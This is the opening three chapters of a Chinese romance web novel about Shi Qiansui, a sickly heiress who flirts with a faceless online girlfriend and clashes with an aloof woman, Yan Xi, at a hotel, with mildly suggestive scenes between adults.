《网恋的冰山美人掉马后》
1. 第 1 章
临海市。
滨海机场。
窗外白色飞机滑过机场跑道,冲进霏霏细雨中,发出阵阵轰鸣,大厅里时不时地响起温柔的女声播报,旅客们提着行李箱行色匆匆,步履急促,渴望归家。
时千岁低着头,迈着温吞的步子走在vip通道内,目光始终追随着手中紧握的手机。
黑色经典公主切发型完美放大了她五官的优势,巴掌大的脸,秀眉明眸,朱唇粉面。
上身穿了件Chanel彩色条纹修身吊带,露出漂亮的天鹅颈和盈盈一握的雪白腰肢,下身是深色修身九分裤,帆布鞋,吊着半截白嫩纤细的脚腕,双腿细且长。
明艳的长相、出挑的气质,在熙攘纷杂的机场自成一道靓丽的风景线,像是从漫画里走出来的人。
引得旁人注目。
大春拖着两个大号行李箱跟在她身后一米的位置,一米八的身高,木讷着一张脸不苟言笑,不凶,但是很哄人,目光微微往旁边一瞥,那些时不时出现的打量的视线便都纷纷消失不见。
“大春。”
时千岁兀自停下脚步,微微吐出一口气,调整了一下呼吸,眼睛抽空从手机上移开,望向闸道口举着牌子翘首以盼的接机人群,不满地撇下了嘴角。
大春跟着她的脚步停下,声音闷闷的,“千岁姐。”
大春,时千岁的好友、伴读,九岁受其父母资助,接来时家,两人一同长大,她比时千岁小个半岁,长相沉稳,虽然看起来有点木木的,不太爱讲话,但心思却尤为细腻。
目光留意到她微微耸动的肩膀,又补了一句,“累了?”
“是有点。”昨天晚上和女朋友在网上聊得热火朝天,一不小心熬了个大夜,今儿一早的飞机又折腾几个点,体力严重告竭。
“那……”
时千岁蓦地转过头,气鼓鼓道,“时千金呢?”
“她没来接我?”
在外上学离家半年,好不容易放个假,作为她的亲姐姐居然都不来接机,甚至连个信息都没有,想想心里就极其不痛快,像是堵了一块大石头。
时千岁登时眼圈发红,平时澄澈清亮的眼睛此时氤氲着一层薄薄的水汽,看起来娇弱极了,我见犹怜。
大春紧张地往前迈了一步,从包里翻出纸巾,递过去,慢半拍解释道,“千金姐安排司机来接我们了。”
“她今天有个重要会议...”抽不开身..
时千岁不听,努起唇,极其不满地“哼”了一声,甩头往出站口走,“我没哭,我又不是小孩子。”
大春:“.....”
她默默收起纸巾,提上行李箱跟上前去。
“千岁姐...”
她提醒,“外面下..”雨呢..
只可惜,最后一个字还未说出口,时千岁便一头撞进了雨里。
细密的雨丝染湿了她的脸颊、打湿了她的衣衫。
时千岁的心情瞬间跌落谷底。
她极其讨厌下雨,在她有生以来的记忆中,每每遇到类似这种糟糕的天气她都是躺在病榻上,伴着苦兮兮的药汤子,一折磨便是半个月。
据她老爸老妈讲,她因为早产的原因,一出生便经历了一道鬼门关,历经九死一生才活了下来,因此留下了病根,成了名副其实的弱柳扶风的药罐子。
时千岁连话都不想说了,脸色比天气还阴沉了几分。
大春从身后伸过来一把黑伞,替她遮住了眼前的雨水,保姆车司机飞快地跑下车替她开门。
时千岁烦躁地把手机往身后一甩,抛给了大春,下巴微微抬起,小腿一迈,钻进了保姆车,大春紧随其上。
保姆车驶离机场,汇入川流不息的主干道,朝时家别墅驶去。
时千岁歪在后座上,侧脸望着窗外连绵的雨雾,心情越来越烦闷。
除去这突如其来的糟糕天气,还有一件事紧紧地搅弄着她心绪。
她女朋友失联了!
时千岁曲指敲敲扶手,问,“几点了?”
“十点。”
四小时!
从她起床开始到下飞机,整整四个小时,音、信、全、无!!!
时千岁“嗖”地转过头,望向大春。
专注整理衣物的大春突然感受到一股极度幽怨的视线,缓缓抬起头,迟钝的大脑使劲地运转。
几秒后,福至心灵,拿起一侧的手机递了过去,“没来消息。”
时千岁:“!!!”
她一拍扶手,赌气道,“我没问!!!”
大春:“.....”
行吧。
大春把准备好的干净衣服和薄毯递给时千岁,按下座位旁按钮。
车内升起挡板,大春提醒,“换衣服。”
时千岁依依不舍地把目光从那沉寂无声的手机上移开,背过身去脱衣服。
换上了一袭价格不菲的限定款白裙,镶满细钻的肩带,蝴蝶款式的收腰设计,矜贵又不失这个年纪的青春俏皮。
不由让人眼前一亮。
大春回过头,眼底罕见地闪过一丝惊艳。
愣了愣。
目光划过她的脸颊,猛然发觉她的脸色有些异于寻常,呈现一种病态的潮红,嘴唇发白,额头上还冒出了一层细汗,不由心生担忧。
她语速比平时快了两分,“千岁姐。”
“是不是哪里不舒服?”
时千岁无语的斜她一眼,伸手从冰箱拿出瓶酸奶,拧开盖压了一口,“好着呢,”话一出口,便瞬间被打脸。
异于寻常沙哑的嗓音,微微作痛的喉咙。
是生病的前兆。
时千岁:“.....”
倒霉,今天出门绝对没看黄历。
“我联系医生。”
时千岁听见“医生”两个字,条件反射地打了个哆嗦,梗直脖子,急道,“大春!”
“你把电话给我放下!”
“我都说了没事,叫什么医生,我不许!你怎么无理取闹呢?”
大春:“.....”
到底是谁无理取闹?
时千岁这番话说得有点着急,以至于呼吸都不顺畅了,她轻喘着脸色也越发难看。
平复一瞬。
她挑衅似的晃了晃手中的酸奶,灌了一口,朝大春一挑眉,意思很明显。
——别惹我!
大春拿这位大小姐毫无办法,妥协了。
车内一时安静了下来。
此时“嗡嗡”两声。
座位旁静止已久的手机发出清晰的震动。
时千岁耳朵动了动,随即激动地转过了脸,朝大春勾了勾手指。
大春心领神会,把手机递了过去。
屏幕上赫然躺着三个大字,“女朋友”。
时千岁抬起纤长手指飞快往上一滑。
屏幕上弹出了对话框。
【早安。】
等了四个小时,就换来这么冷冰冰的两个字。
时千岁心中不免哀怨。
还未等发作,对面又发来两条消息。
【刚起床,才看到你的消息。】
【想你。】
当然最后一条是对应她四小时前的询问,“有没有想我?”这句话。
时千岁紧盯着这两个字,嘴角不可抑制的高高扬起。
她的脾气就如同临海城市七月份的雨,来得快去得也快。
阴云消散,天空开始放晴,她心中的一切不愉快都随着这场雨的落幕而烟消云散。
时千岁拍了拍发烫的脸颊,羞赧一笑,手指轻戳屏幕,打下了一行字。
【老婆,亲亲。】
发送。
时千岁紧盯着屏幕。
一分钟过去了。
她撇了撇嘴角。
【老婆,你今天好冷淡哦,不开心~】
想了想,补充道。
【但我对你的爱依旧热烈。】
“嗡嗡。”
几分钟后对面终于发来了消息。
【(图片)刚在洗澡。】
时千岁点开图片,两根手指一撑,放大那么一看。
瞬时间瞪大了双眼,脑中空白了一片。
好一张美人出浴图!
浴室里水雾氤氲,缭缭绕绕,照片里的人裹着松松垮垮的白色浴袍,领口微敞露出笔直的锁骨和大片细雪般的皮肤,甚至可以窥见那高耸的雪山雏形。
浴袍下摆中的两条腿被白雾拢着,若隐若现,极为诱人。
哇!
她忍不住地惊叹。
一时的脑补程度更是远远大于此时此刻的视觉体验。
这个胸...
一定很软吧...
好想感受一下...
热气上涌,顷刻间席卷全身,时千岁有点晕眩。
她闭了闭眼,伸手轻轻揉了揉太阳穴。
大春看出她的异样,不合时宜开口,“千岁姐,你...”
脑中盘旋的托马斯小火车被强行叫停,时千岁不耐烦地“啧”了一声。
“我好得很。”
话一出口,更是沙哑沉闷。
只不过这次的声音里好像更夹杂了一丝别的什么韵味。
“时千金联系到了吗?”
大春如实道,“没有。”
这个时千金,绝饶不了她,时千岁鼻音重重地“哼”了一声,再度低下头去回复信息。
【想吃。】
...
时千岁看着莫名出现在屏幕上的两个字,一时沉默了。
她怎么一不小心把心里话打出来了。
光天化日的,要注意形象!这种小骚话还是要等晚上讲才有情趣。
她点击删除,斟酌片刻,认认真真地打上一行字。
【老婆身材好迷人,想做老婆的狗,害羞~】
对了,时千岁又问:【可以看看脸吗?】
对面秒回:【不可以哦。】
时千岁急:【为什么???】
【因为,你不乖。】
时千岁:???
她撑直了身子,紧张地注视着屏幕,十指飞快地敲击。
【老婆,人家哪里不乖了?遵纪守法、恪守姬德,满心满眼只有你,漂亮的小姑娘从我身边路过我都把自己当成瞎子。】
对面回道:【油嘴滑舌。】
【记不记得我以前说过的话?】
哪一句?
时千岁敲了敲额头,努力回想。
终于记起,她这位女朋友好像提过不让称呼她为“老婆”只允许称呼“老师”这回事。
时千岁沉思片刻,猜测到。
要么她女朋友讨厌婚姻有关的东西,要么就是她有特殊的小癖好,比如喜欢师生之间的背德感...
别说,还挺刺激。
时千岁捂嘴偷笑,许久,郑重回复。
【知道了,老师。】
对面回复:【乖。】
她指尖一顿,好像想到了些什么,眼底闪过一片狡黠。
补充道。
【那..偷偷问一句,在床上也要叫你老师吗?】
对面沉默了。
长时间的沉默。
时千岁勾出一抹得逞的
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笑容。
皮一下很开心,看吧,女朋友害羞了。
时千岁跷起二郎腿。
【不逗你了,老师,晚上可以语音吗?我想听听你的声音。】
再无回复。
路程还有一段距离,时千岁疲惫来袭,她熄灭了手机屏幕,懒洋洋地往椅子上一靠,闭目养神。
“嗡嗡。”
搁在一旁的手机再度亮起。
时千岁眯眼一看。
是群里@她的消息。
这群是临海一群富二代们组建的聚会群,平时没事就是聊天扯屁和炫富,她不爱在里边讲话,所以设置成了免打扰。
这会@她的是秦梦乐。
家里是做高档酒店生意的,两家父母经常来往,一来二去两人也熟悉了。
只不过谈不上多要好。
【千岁,回临海了?晚上游轮趴来不来?为你接风洗尘。】
嚯,消息还挺灵通。
不约,时千岁兴致缺缺。
晚上还要和女朋友打语音呢。
时千岁再度阖上眸子。
消息接二连三。
【你不会还有门禁吧?你都这么大了,你爸妈还不放心你?】
【不对啊,你爸妈不是去国外了吗?】
【别跟我说你怕你姐,你姐潇洒着呢,可没空管你。】
时千岁无暇嘲讽,坐直了身子,紧盯最后一行字。
【什么意思,最后一句?】
秦梦乐私聊她。
【你姐来万吉酒店开房了,我正好撞见了,和一个超级漂亮的女人。】
时千岁:???
【我还跟她打了个招呼呢,就住我隔壁1008。】
好好好,好一个重要会议。
说得冠冕堂皇的。
呵呵,原来是和女人睡觉去了!
时千岁刚刚压下去的火气卷土重来,灼烧起她的理智。
“小刘,给我抄近道去万吉酒店。”
又威胁,“不许给时千金通风报信,否则...”
大春和司机小刘同时缩回了伸向手机的手。
一个急转弯。
保姆车改变方向,朝本市最豪华的酒店驶去。
十分钟后。
保姆车稳稳当当地停在了酒店门口。
时千岁开门,急迫地跳下车。
突然一阵眩晕袭来,她一个趔趄,差一点就和大地来个亲密接触。
大春眼疾手快地扶稳了她。
甫一接触皮肤,触感是异于寻常的烫。
显然时千岁也察觉到了,暗道一声,糟糕,恐怕发烧了。
她清了清嗓子,压下一丝虚弱,“带路。”
大春太了解时千岁了,脾气一旦上来十头牛也来不回来。
索性依了她。
两人直奔客房。
到了1008号房间门口。
大春从身后变出了一把椅子,往门口一米处一放。
时千岁落座,优雅地跷起了二郎腿,一副准备看好戏的表情。
她已经想象到时千金看到自己时那难堪的样子了,这还不狠狠拿捏。
时千岁冷笑一声,示意大春敲门。
“叩叩。”
屋内传来脚步声,由远及近。
时千岁直了直身子,莫名有点紧张。
该紧张的不应该是屋内那两个吗?她紧张个什么劲儿?
时千岁深深吐出一口气,眼睛一瞬不瞬地盯着那扇紧闭的大门。
片刻,“咯吱”一声。
门由内打开。
一漂亮女人缓步走出。
无可挑剔的容貌,身量颀长柔美,粉黛不施,一袭黑裙包裹着曼妙腰肢,成熟不失性感。
尤其是露在外面的肌肤,如上好白瓷,细腻白皙。
时千岁呼吸一滞,不由在心里重重地点了点头,对秦梦乐的话表示肯定。
确实超级漂亮。
漂亮女人居高临下地望向她,漆黑如墨的眼睛里满是冰冷和疏离。
她薄唇翕动,吝啬地吐出两个字,“有事?”
时千岁被她周身散发的寒意刺了一下,不自觉缩了缩脖子,气势大减。
声音更是弱了几分,“你、你别给我装。”
言浠别有深意地看她一眼,一个转身,关上了门。
“砰”的一声。
时千岁闭了闭眼,耳边的发丝吹起又落下。
时千岁与大春面面相觑。
片刻,指了指那扇紧闭的门。
问道,“她那眼神什么意思?是不是说我冒失、没礼貌、无理取闹?”
大春:“.....”
见大春不说话,时千岁面子有点挂不住了,她从小到大就没受过这待遇。
“再去给我敲门!”
敲门声响起,足足三分钟。
女人再度开门。
眼神依旧冰冷。
时千岁抬头望着她,质问道,“我姐呢?藏哪了?”
言浠淡淡道,“你找错了。”
时千岁莫名觉得,她这个高度问题,才导致面前女人频频占上风。
她“噌”地从椅子上站起身。
“我跟你说,我是..”
话音未落,发烧引起的眩晕感再度来袭。
时千岁脚底一软,向前栽去。
不偏不倚的撞进了女人的怀里。
好闻的冷香充盈鼻端,脸下软绵绵的,弹性十足。
时千岁来不及收住的话语,闷闷地传了出来。
“来..捉奸的。”
2. 第 2 章
时千岁歪了歪头,认真感受了一下落在脸颊的触感,后知后觉,耳根蓦地发起烫来。
“那个...”她脑子里晕晕乎乎的,苍白地解释道,“我不是故意的...”
发烫的呼吸掠过肌肤,痒痒的。言浠浑身一僵,极快地推开她。
时千岁站稳,垂眸注视着自己脚尖,一时之间有点尴尬。
言浠看着眼前这个冒冒失失的小家伙,眼底蓦地迸发出森然寒意。
她讨厌肢体接触。
极其讨厌!
“那什么..”时千岁一米七的个头,眼前女人比她高一点,她一仰头,目光便撞入了寒潭一般的幽暗眼底。闷热的天气,竟无端端地生出了一股寒意。
她不自觉地向后撤了一步,脚下一软,身子晃了晃。
言浠微微皱眉,下意识便抬起了手。
大春眼疾手快地从背后将她扶稳。
言浠不动声色地把手背到了身后,指尖捏了捏掌心。
“不好意思啊。”
女孩饱含歉意的声音软软的,带着一丝沙哑,言浠心软了一瞬,气势一点点收敛。
她垂眼端详面前女孩。
女孩长了一张明媚可人的脸,皮肤娇嫩,脸颊至眼尾染着一抹病态的红晕,整个人娇娇弱弱的,柔若无骨地倚着身后的人,像极了饱受暴风雨摧残的小花。
楚楚可怜,实在让人生不起来气。
言浠叹了口气,决定原谅这个冒失的小家伙。
“还有事?”
时千岁倏地抬起眼,视线越过言浠一个劲儿往房间里钻。“一码归一码,”她不忘初心,好心提醒,“你离我姐远点,我姐就是个提了裤子不认人的变态。”
言浠侧了侧身子,挡住了她窥探的视线。
时千岁不依不饶,头一低,逮到间隙就往里冲。
言浠皱了皱眉,一个抬手,掌心抵在了她额头上,时千岁使出了浑身解数,愣是动弹不得丝毫。
感受到掌心的烫人的温度,言浠无奈地叹了口气,语气稍较平时温和了些,“我还有事,没空陪你玩。”
“早点回家。”
时千岁梗了梗脖子,发红的眼睛里满是倔强,“我不要!”
言浠沉默地看了她一会儿,淡淡道,“那你请便。”接着,转了个身,再次带上了门。
便听“砰”的一声。
时千岁望着紧闭的大门眨了眨眼。
这是被梅开二度了?
“要回去吗?千岁姐。”身后传来大春讷讷地声音。
回,回什么回,“大春我问你,她什么意思?什么叫没空陪我玩?”时千岁气愤极了。
“我看上去像跟她开玩笑嘛?”
虽然此时此刻,时千岁对此行产生了严重怀疑,直觉这女人好像确实不知情的样子,但,就这么走了...她好像真成了那个笑话。
绝对不行,时千岁招招手,大春俯身。
“等下,一开门,你不管三七二十一直接给我闯进去。”
“控制住她。”
大春直接拒绝,“不行。”
时千岁:“???”
大春给出解释,“千金姐说,禁止暴力。”
“千金姐千金姐,就知道千金姐,你这么听她的话,是不是害怕她?”
身后人出乎意料的沉默了..
时千岁难以置信地回头看了眼大春,见她唇抿得很紧,眼神还有一丝闪躲。
心道,猜中了?
时千岁“啧”了一声,吐槽道,“白长这么大个。”
大春没有反驳,把她手机递了过来,“千岁姐,你女朋友消息。”
时千岁成功被这句“你女朋友”取悦到了,她嘴角噙起笑接过手机,“行了,我自己来。”
她把目光移到屏幕上,查看消息,只一眼便紧张地坐直了身子。
【晚点聊,遇到了点麻烦。】
麻烦?什么麻烦?不会是遇到什么危险了吧?时千岁瞬间在脑海里上演了一出大戏,其惨烈程度硬生生把自己吓出了一头汗。
【到底出什么事了?】
【严不严重?】
【我好担心!】
那边回道。
【没什么,遇到个缠人的家伙。】
靠!竟然有人这么不长眼,骚扰她女朋友?时千岁气急了,指尖狠狠地戳向屏幕。
【给我个位置,我马上飞过去,狠狠收拾收拾那个混蛋。】
让她知道马王爷究竟有几只眼!!!
对面应道:【不用。】
【已经报警了。】
哎呀,女朋友真聪明。
【晚一点给你发语音。】
真的?时千岁抱着手机乐开了花。
房门“嘎吱”一声。
时千岁的笑容还没有落下去,女人便施施然走了出来,站到她面前,居高临下望着她。
时千岁瞬间板起了脸,手机屏幕往下一压,恼道,“看什么看?没见过和女朋友聊天的?”
依稀一声轻笑。
时千岁莫名从中听出了几分不屑。
言浠继而冷冰冰乜她一眼,“和我有什么关系。”
时千岁:“.....”
一向无理辩三分的她罕见地噎住了。
言浠见她吃瘪,微不可察地勾了勾唇角,
她伸手把一杯温水塞到了正在愣神的时千岁手中。
感受到温度,时千岁回神,不可思议道,“给我的?”
“这么好心?”
难不成这女人没有表面看上去的那么冷漠?
言浠静静地垂下眼帘,思考着她进房间后为什么会鬼使神差地给这个冒昧的女孩倒了杯热水。
是感受到了她额间烫人的温度,亦或者是那楚楚可怜的模样?
无论如何,终归是出于同情。
时千岁沿着杯沿轻轻抿了一口水,温度刚好,喉间的紧涩感舒缓不少。
言浠见她眉目舒展,才开口回答刚才的问题,“我看你病得不轻。”
时千岁:“???”
她怎么莫名觉得这话两层含义呢。
表面像是关心...实则怎么听怎么像骂人..
她看了眼面前神态漠然的女人。
心下确定了。
就是骂她。
时千岁拧眉,愤愤道,“你这人有话不会好好说吗?”真够毒舌的!她心里对眼前人的态度再次来了个一百八十度大转弯。
言浠一挑眉,云里雾里地来了一句,“等下会有人跟你好好说话。”
时千岁:“???”
“什么意思?”
未等回话。
不远处的载客电梯“叮”的一声响,电梯门缓缓打开。
时千岁循声音望去,瞬间僵在了原地。
只见里面走出个西装革履的工作人员,身后三四个警察。
目标明确地向她走来。
走到跟前时,为首的那位工作人员朝言浠微微欠身。
表达歉意。
“言小姐,是我们酒店管理不周,才会出现此类骚扰事件,您放心,我们一定会给您一个交代。”
时千岁指了指自己,有点懵,“骚扰?”
又看看言浠,问,“你至于吗?”
这跟小时候被欺负和老师打小报告有什么区别?
两名警察一左一右站过来。
时千岁扶着大春缓慢起身,瞪她一眼,咬牙道,“我记住你了。”
“咱俩没完。”
...
时千金于半个小时后风尘仆仆地赶来,把虚弱的她和大春带回了家。
此时,时千岁意识都有点模糊了,也没有力气闹腾了。
她沉默着挪上了楼,钻进卧室,换了睡衣把自己抛到了床上。
沉沉睡去。
这一觉睡到天蒙蒙黑。
以至于她转醒后有些恍惚,不知身在何处。
时千岁茫然地环顾四周。
目光注意到床边站着的白大褂时,她的心猛烈地颤了一下,挣扎着起身。
“二小姐,别乱动,等下跑针了还要重新扎一下。”
她这才注意到手背上明晃晃的输液针头。
以及后知后觉的痛感。
时千岁当即红了眼眶,眼泪不受控的蜿蜒而下,洇湿了枕头,她偏过头背对着医生,紧咬着下唇克制着声音里的哽咽,“你们出去,把时千金叫过来。”
医生颔首,退出卧室。
没过一会。
卧室门被轻轻推开。
进来一高挑女人。
白色商务西装,长卷发,妆容精致,鼻梁上架着一副金丝眼镜,整个人看起来成熟且干练。
她五官和时千岁有些相似,但眉眼颇具攻击性。
很轻易地给人一种强大的上位者气场。
时千金坐到床边,一直紧绷的肩膀放松了下来,她抬手轻轻碰了碰时千岁,眼中逐渐生出一抹温柔。
时千岁置气般地躲开她的手,把脸深深地埋进枕头里面。
“别碰我。”
听到她声音里的哭腔,时千金一愣,紧接着发出声愉悦的笑声。
她调侃道,“哎哟,小祖宗又掉金豆豆了?”
时千岁扭过头,狠狠瞪她一眼,狡辩道,“我没哭!”
时千金看她眼泪蒙蒙的双眼,心里软了又软,不禁轻声哄道,“好好好,没哭没哭,我们千岁长大了。”
时千岁极其傲娇的“哼”了一声,“别跟我套近乎,我还没找你算账呢!”
“有你这么当姐的吗?撇下亲妹妹不管,跑去跟女人睡觉!”
见她发愣。
时千岁又补充,“秦梦乐说的,她在酒店亲眼看见你了,别给我否认。”
时千金从床上站起来,无语地看着她妹妹,实在是忍不了了,出口教训道,“不是,你这么大个人了,怎么一点判断能力都没有呢?”
“那是昨晚!”
时千岁仔细一想,她光顾着生气了好像确实忘了问详细了。
她有点心虚,但不多。
下巴一扬,“那咋了?”
“还不是姐你以前跟女人玩给我留下的刻板印象太深了!”
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形形色色的女人,换衣服都没那么勤快。
时千金一时哑然。
“我...我那不是工作压力大吗,再说我现在不是已经改了吗?”
时千金解释完才反应过来,自己好像被这小家伙牵着鼻子走了,她一叉腰,“嘿”了一声,“不是,我不跟你讲了吗,重要会议,事关开启新项目,我们来运集团各地分公司的管理层都过来了。”
“都住在那个酒店,我昨晚一个一个送过去的。”
时千金的嘴跟连珠炮似的,指着床上的捣蛋精就是一阵输出,“我真不知道,一个人究竟能通多大娄子,今儿算是开了眼。”
“给自己搞到高烧39度不说,还叫来了警察,要不是酒店的眼熟我司机,你这会就进警察局了,会也没开成,还得过来捞你,那么一大伙人都得停下来等进度,你知道耽误这一天时间我们损失多少钱吗?少说得八位数,我的祖宗。”
“钱有我重要吗?”时千岁不服气地嘀咕着,“再说,那女人也真是,这么点小事至于吗?”想想就憋屈,就没受过这么大气。
“怎么不至于,”时千金瞥了眼她,“酒店的很委婉地讲你骚扰客人,我可是看监控了,你那纯纯地性骚扰。”
时千岁惊了,手指紧紧地抓着床沿,“怎么就上升高度了?”
“性骚扰可不分男女。”
“一上来就往人怀里钻,可着劲儿吃人豆腐,时千岁你这套究竟跟谁学的?”
时千岁:“.....”
她一眨不眨地盯着时千金,颇有破罐子破摔的意味,“你。”
时千金:“.....”
她抓重点,“你姐可不喜欢那种类型,虽然长得确实好看,但性格太冷了,跟冰块一样,一看就没得情趣。”
这一点,时千岁和她姐的想法出奇地保持了一致。
她拼命点头,“对对对,我就是脚一软,况且我有..”时千岁舌头拐了个弯,强行止住话头。
可不能让时千金知道她有女朋友这事,要不然绝对叨叨个没完。
时千金心中产生一丝狐疑,“你有?你有什么?”她眼睛紧盯着时千岁,想从中发现一丝端倪。
时千岁连忙躲避开那股视线,从枕边摸出了手机,低头查看消息。
只见屏幕上躺着几条“女朋友”的未读消息。
时千岁立马收起了吊儿郎当的神情。
【事情解决了。】
【这会你有时间吗?】
【未接语音。】
时千岁:“!!!”
啊啊啊啊!她都错过了什么啊!
时千岁的懊恼都写在了脸上。
【老师,我刚刚睡着了。(委屈巴巴.jpg)】
对面回复。
【好吧。】
好吧?好吧是什么意思,就完了?
时千岁撇了撇嘴角。
时千金注意到了她情绪的变动,蹑手蹑脚凑过来,眼睛一个劲往屏幕上瞟。
“跟谁聊天呢?”
时千岁听到动静,把手机往身底下一扣。
恼道,“不是,时千金,你有没有边界感?”
时千金被抓包一点也不尴尬,她抬起眼,“啧”了一声,“小气劲儿的。”
时千岁慢慢起身,靠到了床背上,这一觉发了不少汗,黏黏糊糊的,真不舒服。
她下了逐客令,“去去去,出去。”
“我要洗澡了。”
时千金交代,“你悠着点,别又烧起来。”
她往外走,走到门口,叫等候多时的医生进来拔针。
等医生和时千金出去,卧室只剩她一人时。
时千岁再次拿出了手机。
把那条未接通的语音拨了回去。
“滴、滴、滴..”
时千岁心脏也随之打起了鼓。
她紧张地握着手机,时间一分一秒过去,语音显示挂断。
对面发过来一条解释的信息。
【不太方便。】
时千岁刚要回复。
卧室门便被敲响了,“嘎吱”一声,门开了个小口,时千金探进来个脑袋,问,“亲爱的妹妹,需不需要姐姐帮你洗澡啊?”
时千岁翻了个白眼,“姐姐,你是最近有了什么特殊癖好吗?”
时千金没好气道,“你听听,你说的是人话吗?我还不是怕你晕里边,再说,小时候我可没少帮你洗。”
说完,她气咻咻地关上了门。
卧室重新归于平静。
经这一遭。
时千岁脑袋里蹦出来了一个鬼主意。
她抓着手机慢慢悠悠爬下床,走进浴室。
打开淋浴,热水潺潺流淌,热气蒸腾,浴室不出片刻便变得朦胧了起来。
时千岁一手褪着睡衣,一手打字。
【老师,要不要看我洗澡?】
信息刚发送过去,手心便感受到一阵猛烈的震动。
时千岁低头一看,只见屏幕上显示。
【“女朋友”发送过来一条视频邀请。】
“.....”
3. 第 3 章
时千岁得意地笑了。
她把褪到一半的衣服重新穿了起来,把手机立在了半身镜前,镜头往下一压照到锁骨以下位置,深吸一口气,准备妥当后这才扬起了食指轻轻点击接听。
她紧盯着屏幕,紧张地直咽口水。
镜头一阵晃动、翻转,不多时,画面定格在了桌上的红酒杯上。
时千岁:“.....”
她和她女朋友还真是默契十足。
默契到,都选择不露脸。
时千岁的小心思落空。
两边一时之间沉默无言,之余潺潺水流声,不绝于耳。
电话那头率先打破了这份沉默。
礼貌道,“晚上好。”
声音微微透着一股冷感,沾染着些许醉意,很轻,很温柔,像是夏日清凉的夜风,缓缓吹入心田,不由让人情不自禁地心波荡漾。
不过,这声音怎么有点耳熟呢?
有点像下午遇到的那个女人。
不,不一样。
冻人的冰坨子怎么能和她女朋友相比呢?
时千岁猛地摇头。
久未答话。
电话那头发出了一声疑惑的,“嗯?”
“怎么不说话?”
上扬的语调像是带了钩子。
瞬间把时千岁的魂儿勾了回来。
“那个,”时千岁摸着自己躁动的心跳,咬了下下唇,故意拉长了语调,“老师~”
沾染着浓浓水汽的声音,带着一丝蛊人的娇媚,如同暧昧夜晚耳鬓厮磨般的呢喃。
清脆一声响,像是手机磕在了玻璃桌面上,镜头黑了一瞬,晃了晃,屏幕中伸出了一只骨节分明的手。
指节纤长。
一看就很有力量。
时千岁喉咙往下一滚,眼睛紧紧地盯着那只手,撕也撕不下来。
画面终于稳定。
只听手机那头又“嗯?”了一声。
声音低沉,夹杂了一丝不同寻常的喑哑。
时千岁抿唇偷笑,心情愉悦极了。
“老师,刚刚不是说不方便吗?”
怎么一提洗澡就方便了?
闷骚!
“在忙工作。”
明明在喝酒。
假正经。
时千岁没有拆穿,眼珠一转,鬼主意上心头,“老师。”
“我想和你一起洗澡。”
“你喜欢在浴室里做吗?”
对面显然被这番直白的言语惊到了。
那端起红酒杯的手就那么顿在了半空中,五指紧收,像是要把那玻璃杯捏碎似的。
时千岁注意到了这个细节,勾唇一笑,愈加放肆。
“老师,你的手真好看。”
“想被你..哭。”
对面刚把酒送入口中,听到这话,便是一阵猛烈的呛咳。
时千岁没忍住笑出了声,调笑道,“老师,你这个反应是不喜欢吗?那..还要不要看我洗澡?”
静了两秒。
对面好像识破了她的举动。
轻笑一声。
唤了一声,“宝宝。”
她叫自己什么?宝宝?时千岁感觉自己的心跳都空了一拍。
对面又说。
“我在想,你能站住吗?”
什么?什么能不能站住?时千岁回忆了一下两人的对话。
才恍然明白了这句话的意味。
她脑子里不由自主地浮现出了一幅旖旎画面。
浴室里,白雾袅袅,发丝缠缠绕绕。
赤裸裸的女人,一前一后贴在镜子前。
那姿势光是靠想象就让人脸红心跳血脉贲张。
时千岁呼吸逐渐加重,热意在狭仄的空间肆意蔓延,很快便席卷全身。
感受到自己身体的异常,时千岁忙拍拍烫人的脸颊,驱散热气。
怎么反被撩了?
好没出息。
她不能输。
时千岁晃了晃脑袋,把那过于劲爆的画面从脑海中驱逐了出去。
深吸一口气,晶亮的眸子隐约透出一丝兴奋。
“站不站得住要试试才知道。”
她一个停顿,“老师,我要脱衣服喽。”
时千岁扬起玉葱般白嫩纤细的手指,捏起睡衣最上面的一颗纽扣,缓缓拨开。
露出漂亮的天鹅颈和笔直的锁骨。
接着是第二颗。
丰盈的雪山初见端倪。
只需再往下一点便可以窥见其全貌。
时千岁手指慢慢移动到那颗纽扣上,指尖轻轻往上一挑,又忽地顿住。
紧接着,转了个身背对着镜头,继续下一步动作。
手机那头传出一声微乎其微的叹息声。
像是意犹未尽。
时千岁勾唇一笑,把睡衣一点一点褪到腰间。
香肩,美背,盈盈一握的腰肢,被浴室飘渺的白雾包裹着,若隐若现、朦胧又迷离。
一声沉重的呼吸声从手机中传出。
时千岁动了动耳朵,手上的动作戛然而止,她往右挪了一步,身子移出了屏幕。
“老师,剩下的等你亲手帮我脱。”
“期待和你见面。”
说着,朝屏幕挥了挥手,挂断了视频。
坦诚相见是必然的,但一定要留在见面那一刻,毕竟远水解不了近渴,时千岁反正是这样想的。
“嗡嗡。”
回答她的是三个大大的感叹号。
“!!!”
时千岁看着消息笑弯了腰。
她女朋友上头了。
...
半小时后,时千岁洗完澡下了楼。
厨房里飘出了饭菜香,她使劲地嗅了嗅,灵敏地察觉到其中夹杂的药材味道,食欲瞬间丧失。
时千金刚巧忙完工作从书房出来。
时千岁往沙发上一歪,幽怨道,“姐,我好不容易回趟家,你就不能给我吃点好的?”
“我不吃药膳!”
她仰起下巴,一字一顿,“我要吃吃香辣蟹、小龙虾!”
时千金从冰箱拿出一瓶酸奶,一盘洗好的阳光玫瑰端到时千岁面前,瞥她一眼,“我看你像香辣蟹、小龙虾。”
别说,还真挺像……时千金又仔细端详她一眼,上手摸向她额头,“也不烫啊,”怎么洗个澡还给自己洗红温了?
时千金幽幽问,“你是不是偷吃辣条了?”
时千岁捏起葡萄的手顿在空中,急道,“我没有!”
“那?”时千金凑近她,眯了眯眼,“难不成偷情去了?”
和女朋友视频洗澡算偷情吗?时千岁还是有点心虚的,她躲开了时千金的视线,“怎…怎么可能?”又往旁边摸,摸到手机,指了指,“我回条消息啊。”
时千金往她身边一坐,表情严肃,“你知不知道,你从小就不会撒谎?”
“你跟我说实话,你是不是...”
时千岁猛一拍大腿,眼睛直勾勾地盯着屏幕,快要喷出火来。
时千金注意力被吸引,疑道,“怎么了?谁又惹你了?我的小祖宗。”
时千岁咬牙,“还不是秦梦乐!”
一分钟前。
秦梦乐在群里@她。
【听说你去我家酒店了?还招来了警察,哎呀你跟我打声招呼多好,也不至于闹出这种笑话。(图片)(图片)】
一张是她抱着那女人的照片,整个脸紧紧地埋在那女人的胸口位置,另一张是她被警察带走的照片。
底下纷纷打趣。
【千岁姐怎么回事?】
【一回来就玩这么大?】
【千岁姐,缺女人了?给你介绍两?不用客气。】
...
消息排起了长龙。
这下真成笑话了!
颜面无存,这还叫她怎么混!
